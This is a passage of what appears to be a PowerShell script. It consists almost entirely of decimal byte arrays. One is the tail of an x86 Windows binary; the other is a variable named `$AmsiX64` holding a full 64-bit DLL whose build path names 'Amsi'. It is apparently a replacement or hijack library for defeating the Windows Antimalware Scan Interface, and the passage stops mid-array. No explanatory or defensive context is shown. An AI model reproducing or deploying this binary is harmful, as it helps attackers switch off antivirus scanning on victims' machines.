0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 24 0 0 0 24 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 2 0 0 0 48 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 9 4 0 0 72 0 0 0 96 80 0 0 125 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 60 63 120 109 108 32 118 101 114 115 105 111 110 61 39 49 46 48 39 32 101 110 99 111 100 105 110 103 61 39 85 84 70 45 56 39 32 115 116 97 110 100 97 108 111 110 101 61 39 121 101 115 39 63 62 13 10 60 97 115 115 101 109 98 108 121 32 120 109 108 110 115 61 39 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 49 39 32 109 97 110 105 102 101 115 116 86 101 114 115 105 111 110 61 39 49 46 48 39 62 13 10 32 32 60 116 114 117 115 116 73 110 102 111 32 120 109 108 110 115 61 34 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 51 34 62 13 10 32 32 32 32 60 115 101 99 117 114 105 116 121 62 13 10 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 69 120 101 99 117 116 105 111 110 76 101 118 101 108 32 108 101 118 101 108 61 39 97 115 73 110 118 111 107 101 114 39 32 117 105 65 99 99 101 115 115 61 39 102 97 108 115 101 39 32 47 62 13 10 32 32 32 32 32 32 60 47 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 60 47 115 101 99 117 114 105 116 121 62 13 10 32 32 60 47 116 114 117 115 116 73 110 102 111 62 13 10 60 47 97 115 115 101 109 98 108 121 62 13 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 16 0 0 12 1 0 0 7 48 108 48 155 48 171 48 194 48 211 48 228 48 233 48 2 49 7 49 20 49 97 49 126 49 136 49 150 49 168 49 189 49 251 49 212 50 7 51 85 51 94 51 105 51 112 51 144 51 150 51 156 51 162 51 168 51 174 51 181 51 188 51 195 51 202 51 209 51 216 51 223 51 231 51 239 51 247 51 3 52 12 52 17 52 23 52 33 52 43 52 59 52 75 52 91 52 100 52 201 52 121 53 170 53 249 53 12 54 31 54 43 54 59 54 76 54 114 54 135 54 142 54 148 54 166 54 176 54 17 55 30 55 69 55 77 55 102 55 160 55 187 55 199 55 214 55 223 55 236 55 27 56 35 56 46 56 52 56 58 56 70 56 76 56 111 56 160 56 75 57 106 57 116 57 133 57 146 57 151 57 189 57 194 57 231 57 241 57 14 58 91 58 96 58 115 58 129 58 156 58 167 58 54 59 63 59 71 59 142 59 157 59 164 59 218 59 227 59 240 59 251 59 4 60 19 60 30 60 36 60 42 60 48 60 54 60 60 60 66 60 72 60 78 60 84 60 90 60 96 60 102 60 108 60 114 60 0 0 0 32 0 0 32 0 0 0 112 48 164 48 168 48 92 49 96 49 104 49 48 52 80 52 108 52 112 52 140 52 144 52 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" $AmsiX64 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 148 172 98 253 208 205 12 174 208 205 12 174 208 205 12 174 217 181 159 174 210 205 12 174 190 150 13 175 211 205 12 174 190 150 15 175 210 205 12 174 190 150 9 175 216 205 12 174 190 150 8 175 217 205 12 174 13 50 199 174 210 205 12 174 208 205 13 174 240 205 12 174 2 150 4 175 209 205 12 174 2 150 243 174 209 205 12 174 2 150 14 175 209 205 12 174 82 105 99 104 208 205 12 174 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 69 0 0 100 134 7 0 136 29 62 87 0 0 0 0 0 0 0 0 240 0 34 32 11 2 14 0 0 16 0 0 0 28 0 0 0 0 0 0 160 19 0 0 0 16 0 0 0 0 0 128 1 0 0 0 0 16 0 0 0 2 0 0 6 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 128 0 0 0 4 0 0 0 0 0 0 2 0 96 1 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 108 38 0 0 80 0 0 0 0 96 0 0 224 1 0 0 0 64 0 0 176 1 0 0 0 0 0 0 0 0 0 0 0 112 0 0 24 0 0 0 112 33 0 0 112 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 224 33 0 0 148 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 248 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 211 14 0 0 0 16 0 0 0 16 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 100 97 116 97 0 0 128 10 0 0 0 32 0 0 0 12 0 0 0 20 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 100 97 116 97 0 0 0 64 6 0 0 0 48 0 0 0 2 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 192 46 112 100 97 116 97 0 0 176 1 0 0 0 64 0 0 0 2 0 0 0 34 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 103 102 105 100 115 0 0 16 0 0 0 0 80 0 0 0 2 0 0 0 36 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 115 114 99 0 0 0 224 1 0 0 0 96 0 0 0 2 0 0 0 38 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 101 108 111 99 0 0 24 0 0 0 0 112 0 0 0 2 0 0 0 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 66 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 51 192 195 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 204 102 102 15 31 132 0 0 0 0 0 72 59 13 217 31 0 0 242 117 18 72 193 193 16 102 247 193 255 255 242 117 2 242 195 72 193 201 16 233 211 3 0 0 204 204 204 72 131 236 40 133 210 116 57 131 234 1 116 40 131 234 1 116 22 131 250 1 116 10 184 1 0 0 0 72 131 196 40 195 232 142 5 0 0 235 5 232 95 5 0 0 15 182 192 72 131 196 40 195 73 139 208 72 131 196 40 233 15 0 0 0 77 133 192 15 149 193 72 131 196 40 233 44 1 0 0 72 137 92 36 8 72 137 116 36 16 72 137 124 36 32 65 86 72 131 236 32 72 139 242 76 139 241 51 201 232 2 6 0 0 132 192 117 7 51 192 233 232 0 0 0 232 150 4 0 0 138 216 136 68 36 64 64 183 1 131 61 234 36 0 0 0 116 10 185 7 0 0 0 232 62 9 0 0 199 5 212 36 0 0 1 0 0 0 232 199 4 0 0 132 192 116 103 232 110 10 0 0 72 141 13 179 10 0 0 232 6 8 0 0 232 197 8 0 0 72 141 13 206 8 0 0 232 245 7 0 0 232 224 8 0 0 72 141 21 253 15 0 0 72 141 13 238 15 0 0 232 213 12 0 0 133 192 117 41 232 96 4 0 0 132 192 116 32 72 141 21 205 15 0 0 72 141 13 190 15 0 0 232 175 12 0 0 199 5 103 36 0 0 2 0 0 0 64 50 255 138 203 232 9 7 0 0 64 132 255 15 133 78 255 255 255 232 167 8 0 0 72 139 216 72 131 56 0 116 36 72 139 200 232 78 6 0 0 132 192 116 24 72 139 27 72 139 203 232 111 10 0 0 76 139 198 186 2 0 0 0 73 139 206 255 211 255 5 156 30 0 0 184 1 0 0 0 72 139 92 36 48 72 139 116 36 56 72 139 124 36 72 72 131 196 32 65 94 195 204 72 137 92 36 8 72 137 116 36 24 87 72 131 236 32 64 138 241 139 5 104 30 0 0 51 219 133 192 127 4 51 192 235 80 255 200 137 5 86 30 0 0 232 109 3 0 0 64 138 248 136 68 36 56 131 61 195 35 0 0 2 116 10 185 7 0 0 0 232 23 8 0 0 232 102 4 0 0 137 29 172 35 0 0 232 139 4 0 0 64 138 207 232 75 6 0 0 51 210 64 138 206 232 101 6 0 0 132 192 15 149 195 139 195 72 139 92 36 48 72 139 116 36 64 72 131 196 32 95 195 204 204 72 139 196 72 137 88 32 76 137 64 24 137 80 16 72 137 72 8 86 87 65 86 72 131 236 64 77 139 240 139 250 72 139 241 141 66 255 131 248 1 119 46 232 217 0 0 0 139 216 137 68 36 48 133 192 15 132 179 0 0 0 77 139 198 139 215 72 139 206 232 182 253 255 255 139 216 137 68 36 48 133 192 15 132 152 0 0 0 131 255 1 117 8 72 139 206 232 55 11 0 0 77 139 198 139 215 72 139 206 232 74 253 255 255 139 216 137 68 36 48 131 255 1 117 52 133 192 117 39 77 139 198 51 210 72 139 206 232 46 253 255 255 77 139 198 51 210 72 139 206 232 101 253 255 255 77 139 198 51 210 72 139 206 232 96 0 0 0 131 255 1 117 4 133 219 116 4 133 255 117 12 72 139 206 232 229 10 0 0 133 255 116 5 131 255 3 117 42 77 139 198 139 215 72 139 206 232 45 253 255 255 139 216 137 68 36 48 133 192 116 19 77 139 198 139 215 72 139 206 232 30 0 0 0 139 216 137 68 36 48 235 6 51 219 137 92 36 48 139 195 72 139 92 36 120 72 131 196 64 65 94 95 94 195 72 137 92 36 8 72 137 108 36 16 72 137 116 36 24 87 72 131 236 32 72 139 29 233 13 0 0 73 139 248 139 242 72 139 233 72 133 219 117 5 141 67 1 235 18 72 139 203 232 127 8 0 0 76 139 199 139 214 72 139 205 255 211 72 139 92 36 48 72 139 108 36 56 72 139 116 36 64 72 131 196 32 95 195 72 137 92 36 8 72 137 116 36 16 87 72 131 236 32 73 139 248 139 218 72 139 241 131 250 1 117 5 232 99 5 0 0 76 139 199 139 211 72 139 206 72 139 92 36 48 72 139 116 36 56 72 131 196 32 95 233 103 254 255 255 204 204 204 64 83 72 131 236 32 72 139 217 51 201 255 21 119 12 0 0 72 139 203 255 21 6 12 0 0 255 21 32 12 0 0 72 139 200 186 9 4 0 192 72 131 196 32 91 72 255 37 76 12 0 0 72 137 76 36 8 72 131 236 56 185 23 0 0 0 232 13 10 0 0 133 192 116 7 185 2 0 0 0 205 41 72 141 13 183 28 0 0 232 170 0 0 0 72 139 68 36 56 72 137 5 158 29 0 0 72 141 68 36 56 72 131 192 8 72 137 5 46 29 0 0 72 139 5 135 29 0 0 72 137 5 248 27 0 0 72 139 68 36 64 72 137 5 252 28 0 0 199 5 210 27 0 0 9 4 0 192 199 5 204 27 0 0 1 0 0 0 199 5 214 27 0 0 1 0 0 0 184 8 0 0 0 72 107 192 0 72 141 13 206 27 0 0 72 199 4 1 2 0 0 0 184 8 0 0 0 72 107 192 0 72 139 13 70 27 0 0 72 137 76 4 32 184 8 0 0 0 72 107 192 1 72 139 13 57 27 0 0 72 137 76 4 32 72 141 13 125 12 0 0 232 0 255 255 255 72 131 196 56 195 204 204 204 64 83 86 87 72 131 236 64 72 139 217 255 21 31 11 0 0 72 139 179 248 0 0 0 51 255 69 51 192 72 141 84 36 96 72 139 206 255 21 253 10 0 0 72 133 192 116 57 72 131 100 36 56 0 72 141 76 36 104 72 139 84 36 96 76 139 200 72 137 76 36 48 76 139 198 72 141 76 36 112 72 137 76 36 40 51 201 72 137 92 36 32 255 21 190 10 0 0 255 199 131 255 2 124 177 72 131 196 64 95 94 91 195 204 204 204 72 131 236 40 232 103 8 0 0 133 192 116 33 101 72 139 4 37 48 0 0 0 72 139 72 8 235 5 72 59 200 116 20 51 192 240 72 15 177 13 64 32 0 0 117 238 50 192 72 131 196 40 195 176 1 235 247 204 204 204 72 131 236 40 232 43 8 0 0 133 192 116 7 232 94 6 0 0 235 5 232 95 8 0 0 176 1 72 131 196 40 195 72 131 236 40 51 201 232 65 1 0 0 132 192 15 149 192 72 131 196 40 195 204 204 204 72 131 236 40 232 99 8 0 0 132 192 117 4 50 192 235 18 232 86 8 0 0 132 192 117 7 232 77 8 0 0 235 236 176 1 72 131 196 40 195 72 131 236 40 232 59 8 0 0 232 54 8 0 0 176 1 72 131 196 40 195 204 204 204 72 137 92 36 8 72 137 108 36 16 72 137 116 36 24 87 72 131 236 32 73 139 249 73 139 240 139 218 72 139 233 232 152 7 0 0 133 192 117 23 131 251 1 117 18 72 139 207 232 187 5 0 0 76 139 198 51 210 72 139 205 255 215 72 139 84 36 88 139 76 36 80 72 139 92 36 48 72 139 108 36 56 72 139 116 36 64 72 131 196 32 95 233 153 7 0 0 204 204 204 72 131 236 40 232 79 7 0 0 133 192 116 16 72 141 13 72 31 0 0 72 131 196 40 233 145 7 0 0 232 106 249 255 255 133 192 117 5 232 143 7 0 0 72 131 196 40 195 72 131 236 40 51 201 232 141 7 0 0 72 131 196 40 233 132 7 0 0 64 83 72 131 236 32 15 182 5 59 31 0 0 133 201 187 1 0 0 0 15 68 195 136 5 43 31 0 0 232 46 5 0 0 232 93 7 0 0 132 192 117 4 50 192 235 20 232 80 7 0 0 132 192 117 9 51 201 232 69 7 0 0 235 234 138 195 72 131 196 32 91 195 204 204 204 72 137 92 36 8 85 72 139 236 72 131 236 64 139 217 131 249 1 15 135 166 0 0 0 232 171 6 0 0 133 192 116 43 133 219 117 39 72 141 13 160 30 0 0 232 225 6 0 0 133 192 116 4 50 192 235 122 72 141 13 164 30 0 0 232 205 6 0 0 133 192 15 148 192 235 103 72 139 21 169 24 0 0 73 131 200 255 139 194 185 64 0 0 0 131 224 63 43 200 176 1 73 211 200 76 51 194 76 137 69 224 76 137 69 232 15 16 69 224 76 137 69 240 242 15 16 77 240 15 17 5 69 30 0 0 76 137 69 224 76 137 69 232 15 16 69 224 76 137 69 240 242 15 17 13 61 30 0 0 242 15 16 77 240 15 17 5 57 30 0 0 242 15 17 13 65 30 0 0 72 139 92 36 80 72 131 196 64 93 195 185 5 0 0 0 232 84 2 0 0 204 204 204 204 72 131 236 24 76 139 193 184 77 90 0 0 102 57 5 29 232 255 255 117 124 72 99 5 80 232 255 255 72 141 21 13 232 255 255 72 141 12 16 129 57 80 69 0 0 117 98 184 11 2 0 0 102 57 65 24 117 87 76 43 194 15 183 65 20 72 141 81 24 72 3 208 15 183 65 6 72 141 12 128 76 141 12 202 72 137 20 36 73 59 209 116 24 139 74 12 76 59 193 114 10 139 66 8 3 193 76 59 192 114 8 72 131 194 40 235 223 51 210 72 133 210 117 4 50 192 235 23 247 66 36 0 0 0 128 116 4 50 192 235 10 176 1 235 6 50 192 235 2 50 192 72 131 196 24 195 64 83 72 131 236 32 138 217 232 83 5 0 0 51 210 133 192 116 11 132 219 117 7 72 135 21 62 29 0 0 72 131 196 32 91 195 64 83 72 131 236 32 128 61 99 29 0 0 0 138 217 116 4 132 210 117 14 138 203 232 144 5 0 0 138 203 232 137 5 0 0 176 1 72 131 196 32 91 195 204 64 83 72 131 236 32 72 139 21 55 23 0 0 72 139 217 139 202 72 51 21 251 28 0 0 131 225 63 72 211 202 72 131 250 255 117 10 72 139 203 232 63 5 0 0 235 15 72 139 211 72 141 13 219 28 0 0 232 34 5 0 0 51 201 133 192 72 15 68 203 72 139 193 72 131 196 32 91 195 204 72 131 236 40 232 167 255 255 255 72 247 216 27 192 247 216 255 200 72 131 196 40 195 204 72 137 92 36 32 85 72 139 236 72 131 236 32 72 131 101 24 0 72 187 50 162 223 45 153 43 0 0 72 139 5 185 22 0 0 72 59 195 117 111 72 141 77 24 255 21 226 6 0 0 72 139 69 24 72 137 69 16 255 21 220 6 0 0 139 192 72 49 69 16 255 21 216 6 0 0 139 192 72 141 77 32 72 49 69 16 255 21 208 6 0 0 139 69 32 72 141 77 16 72 193 224 32 72 51 69 32 72 51 69 16 72 51 193 72 185 255 255 255 255 255 255 0 0 72 35 193 72 185 51 162 223 45 153 43 0 0 72 59 195 72 15 68 193 72 137 5 69 22 0 0 72 139 92 36 72 72 247 208 72 137 5 62 22 0 0 72 131 196 32 93 195 72 141 13 57 28 0 0 72 255 37 82 6 0 0 204 204 72 141 13 41 28 0 0 233 6 4 0 0 72 141 5 45 28 0 0 195 72 141 5 45 28 0 0 195 72 131 236 40 232 231 255 255 255 72 131 8 4 232 230 255 255 255 72 131 8 2 72 131 196 40 195 204 72 141 5 25 28 0 0 195 72 137 92 36 8 85 72 141 172 36 64 251 255 255 72 129 236 192 5 0 0 139 217 185 23 0 0 0 232 243 3 0 0 133 192 116 4 139 203 205 41 131 37 224 27 0 0 0 72 141 77 240 51 210 65 184 208 4 0 0 232 151 3 0 0 72 141 77 240 255 21 173 5 0 0 72 139 157 232 0 0 0 72 141 149 216 4 0 0 72 139 203 69 51 192 255 21 139 5 0 0 72 133 192 116 60 72 131 100 36 56 0 72 141 141 224 4 0 0 72 139 149 216 4 0 0 76 139 200 72 137 76 36 48 76 139 195 72 141 141 232 4 0 0 72 137 76 36 40 72 141 77 240 72 137 76 36 32 51 201 255 21 66 5 0 0 72 139 133 200 4 0 0 72 141 76 36 80 72 137 133 232 0 0 0 51 210 72 141 133 200 4 0 0 65 184 152 0 0 0 72 131 192 8 72 137 133 136 0 0 0 232 0 3 0 0 72 139 133 200 4 0 0 72 137 68 36 96 199 68 36 80 21 0 0 64 199 68 36 84 1 0 0 0 255 21 14 5 0 0 131 248 1 72 141 68 36 80 72 137 68 36 64 72 141 69 240 15 148 195 72 137 68 36 72 51 201 255 21 45 5 0 0 72 141 76 36 64 255 21 186 4 0 0 133 192 117 10 246 219 27 192 33 5 220 26 0 0 72 139 156 36 208 5 0 0 72 129 196 192 5 0 0 93 195 204 204 204 72 137 92 36 8 72 137 116 36 16 87 72 131 236 32 72 141 29 154 9 0 0 72 141 53 147 9 0 0 235 22 72 139 59 72 133 255 116 10 72 139 207 232 105 0 0 0 255 215 72 131 195 8 72 59 222 114 229 72 139 92 36 48 72 139 116 36 56 72 131 196 32 95 195 204 204 72 137 92 36 8 72 137 116 36 16 87 72 131 236 32 72 141 29 94 9 0 0 72 141 53 87 9 0 0 235 22 72 139 59 72 133 255 116 10 72 139 207 232 29 0 0 0 255 215 72 131 195 8 72 59 222 114 229 72 139 92 36 48 72 139 116 36 56 72 131 196 32 95 195 204 204 72 255 37 241 4 0 0 204 72 137 92 36 16 85 72 139 236 72 131 236 32 131 101 232 0 51 201 51 192 199 5 245 19 0 0 2 0 0 0 15 162 68 139 193 199 5 226 19 0 0 1 0 0 0 65 129 240 110 116 101 108 68 139 202 65 129 241 105 110 101 73 68 139 210 69 11 200 139 211 129 242 71 101 110 117 68 139 216 68 11 202 184 1 0 0 0 65 15 148 192 129 241 99 65 77 68 129 243 65 117 116 104 65 129 242 101 110 116 105 65 11 218 11 217 65 15 148 194 51 201 15 162 68 139 201 137 69 240 69 132 192 68 137 77 248 68 139 5 156 25 0 0 139 200 137 93 244 137 85 252 116 82 72 131 13 118 19 0 0 255 65 131 200 4 37 240 63 255 15 68 137 5 122 25 0 0 61 192 6 1 0 116 40 61 96 6 2 0 116 33 61 112 6 2 0 116 26 5 176 249 252 255 131 248 32 119 27 72 187 1 0 1 0 1 0 0 0 72 15 163 195 115 11 65 131 200 1 68 137 5 64 25 0 0 69 132 210 116 25 129 225 0 15 240 15 129 249 0 15 96 0 124 11 65 131 200 4 68 137 5 34 25 0 0 184 7 0 0 0 137 85 224 68 137 77 228 68 59 216 124 36 51 201 15 162 137 69 240 137 93 244 137 77 248 137 85 252 137 93 232 15 186 227 9 115 11 65 131 200 2 68 137 5 237 24 0 0 65 15 186 225 20 115 110 199 5 192 18 0 0 2 0 0 0 199 5 186 18 0 0 6 0 0 0 65 15 186 225 27 115 83 65 15 186 225 28 115 76 51 201 15 1 208 72 193 226 32 72 11 208 72 137 85 16 72 139 69 16 36 6 60 6 117 50 139 5 140 18 0 0 131 200 8 199 5 123 18 0 0 3 0 0 0 246 69 232 32 137 5 117 18 0 0 116 19 131 200 32 199 5 98 18 0 0 5 0 0 0 137 5 96 18 0 0 51 192 72 139 92 36 56 72 131 196 32 93 195 204 204 204 51 192 57 5 92 18 0 0 15 149 192 195 194 0 0 204 204 204 204 204 255 37 178 2 0 0 255 37 164 2 0 0 255 37 150 2 0 0 255 37 136 2 0 0 255 37 122 2 0 0 255 37 228 2 0 0 255 37 214 2 0 0 255 37 200 2 0 0 255 37 186 2 0 0 255 37 172 2 0 0 255 37 158 2 0 0 255 37 144 2 0 0 255 37 130 2 0 0 255 37 116 2 0 0 255 37 30 2 0 0 204 204 176 1 195 204 204 204 204 204 204 204 102 102 15 31 132 0 0 0 0 0 255 224 64 85 72 131 236 32 72 139 234 138 77 64 72 131 196 32 93 233 4 250 255 255 204 64 85 72 131 236 32 72 139 234 232 45 248 255 255 138 77 56 72 131 196 32 93 233 232 249 255 255 204 64 85 72 131 236 48 72 139 234 72 139 1 139 16 72 137 76 36 40 137 84 36 32 76 141 13 161 241 255 255 76 139 69 112 139 85 104 72 139 77 96 232 93 247 255 255 144 72 131 196 48 93 195 204 64 85 72 139 234 72 139 1 51 201 129 56 5 0 0 192 15 148 193 139 193 93 195 204 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 106 41 0 0 0 0 0 0 86 41 0 0 0 0 0 0 60 41 0 0 0 0 0 0 40 41 0 0 0 0 0 0 164 41 0 0 0 0 0 0 94 42 0 0 0 0 0 0 72 42 0 0 0 0 0 0 46 42 0 0 0 0 0 0 24 42 0 0 0 0 0 0 2 42 0 0 0 0 0 0 232 41 0 0 0 0 0 0 204 41 0 0 0 0 0 0 184 41 0 0 0 0 0 0 134 41 0 0 0 0 0 0 0 0 0 0 0 0 0 0 52 40 0 0 0 0 0 0 20 40 0 0 0 0 0 0 252 39 0 0 0 0 0 0 218 39 0 0 0 0 0 0 184 39 0 0 0 0 0 0 0 0 0 0 0 0 0 0 252 40 0 0 0 0 0 0 238 40 0 0 0 0 0 0 214 40 0 0 0 0 0 0 186 40 0 0 0 0 0 0 158 40 0 0 0 0 0 0 124 40 0 0 0 0 0 0 106 40 0 0 0 0 0 0 92 40 0 0 0 0 0 0 80 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 216 29 0 128 1 0 0 0 80 30 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 48 0 128 1 0 0 0 240 48 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 136 29 62 87 0 0 0 0 2 0 0 0 65 0 0 0 116 34 0 0 116 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 12 0 0 0 20 0 0 0 184 34 0 0 184 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 13 0 0 0 68 2 0 0 204 34 0 0 204 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 148 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 48 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 32 0 128 1 0 0 0 0 33 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 82 83 68 83 42 80 223 113 29 247 64 69 188 37 18 40 145 144 25 190 50 0 0 0 67 58 92 68 101 118 101 108 111 112 109 101 110 116 92 65 109 115 105 92 120 54 52 92 82 101 108 101 97 115 101 92 65 109 115 105 46 112 100 98 0 0 0 0 0 0 0 0 18 0 0 0 18 0 0 0 1 0 0 0 17 0 0 0 71 67 84 76 0 16 0 0 63 14 0 0 46 116 101 120 116 36 109 110 0 0 0 0 64 30 0 0 18 0 0 0 46 116 101 120 116 36 109 110 36 48 48 0 82 30 0 0 129 0 0 0 46 116 101 120 116 36 120 0 0 32 0 0 248 0 0 0 46 105 100 97 116 97 36 53 0 0 0 0 248 32 0 0 16 0 0 0 46 48 48 99 102 103 0 0 8 33 0 0 8 0 0 0 46 67 82 84 36 88 67 65 0 0 0 0 16 33 0 0 8 0 0 0 46 67 82 84 36 88 67 90 0 0 0 0 24 33 0 0 8 0 0 0 46 67 82 84 36 88 73 65 0 0 0 0 32 33 0 0 8 0 0 0 46 67 82 84 36 88 73 90 0 0 0 0 40 33 0 0 8 0 0 0 46 67 82 84 36 88 80 65 0 0 0 0 48 33 0 0 8 0 0 0 46 67 82 84 36 88 80 90 0 0 0 0 56 33 0 0 8 0 0 0 46 67 82 84 36 88 84 65 0 0 0 0 64 33 0 0 8 0 0 0 46 67 82 84 36 88 84 90 0 0 0 0 80 33 0 0 36 1 0 0 46 114 100 97 116 97 0 0 116 34 0 0 156 2 0 0 46 114 100 97 116 97 36 122 122 122 100 98 103 0 0 0 16 37 0 0 8 0 0 0 46 114 116 99 36 73 65 65 0 0 0 0 24 37 0 0 8 0 0 0 46 114 116 99 36 73 90 90 0 0 0 0 32 37 0 0 8 0 0 0 46 114 116 99 36 84 65 65 0 0 0 0 40 37 0 0 8 0 0 0 46 114 116 99 36 84 90 90 0 0 0 